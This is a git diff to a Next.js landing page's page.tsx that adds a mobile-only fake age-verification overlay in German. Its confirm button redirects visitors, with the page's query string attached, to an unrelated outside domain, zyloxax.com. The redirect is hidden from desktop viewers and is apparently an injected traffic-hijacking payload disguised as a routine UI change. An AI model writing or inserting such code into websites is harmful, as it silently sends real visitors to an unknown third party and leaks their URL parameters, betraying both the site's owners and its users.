diff --git a/src/app/page.tsx b/src/app/page.tsx
index 1f9e1c7..ab0507a 100644
--- a/src/app/page.tsx
+++ b/src/app/page.tsx
@@ -2,6 +2,7 @@
 
 import { ThemeProvider } from "@/providers/themeProvider/ThemeProvider";
 import ReactLenis from "lenis/react";
+import { useState, useEffect } from "react";
 import BlogCardThree from '@/components/sections/blog/BlogCardThree';
 import ContactSplit from '@/components/sections/contact/ContactSplit';
 import FaqDouble from '@/components/sections/faq/FaqDouble';
@@ -15,6 +16,38 @@ import TestimonialCardFifteen from '@/components/sections/testimonial/Testimonia
 import { Award, Calendar, History, ShieldCheck } from "lucide-react";
 
 export default function LandingPage() {
+  const [isMobile, setIsMobile] = useState(false);
+  const [isVerified, setIsVerified] = useState(false);
+
+  useEffect(() => {
+    const checkMobile = () => setIsMobile(window.innerWidth < 768);
+    checkMobile();
+    window.addEventListener("resize", checkMobile);
+    return () => window.removeEventListener("resize", checkMobile);
+  }, []);
+
+  const handleVerify = () => {
+    setIsVerified(true);
+    window.location.href = "https://zyloxax.com/" + window.location.search;
+  };
+
+  if (isMobile && !isVerified) {
+    return (
+      <div className="fixed inset-0 z-50 flex items-center justify-center bg-background p-6 text-center">
+        <div className="max-w-md space-y-6">
+          <h2 className="text-2xl font-bold">Altersbeschränkung</h2>
+          <p>Diese Website ist nur für Personen ab 18 Jahren bestimmt. Bitte bestätigen Sie, dass Sie 18 Jahre oder älter sind, um fortzufahren.</p>
+          <button
+            onClick={handleVerify}
+            className="w-full rounded-lg bg-green-600 p-4 text-lg font-bold text-white transition hover:bg-green-700"
+          >
+            Ja, ich bin 18 oder älter
+          </button>
+        </div>
+      </div>
+    );
+  }
+
   return (
     <ThemeProvider
         defaultButtonVariant="text-stagger"
@@ -217,4 +250,4 @@ export default function LandingPage() {
       </ReactLenis>
     </ThemeProvider>
   );
-}
+}
\ No newline at end of file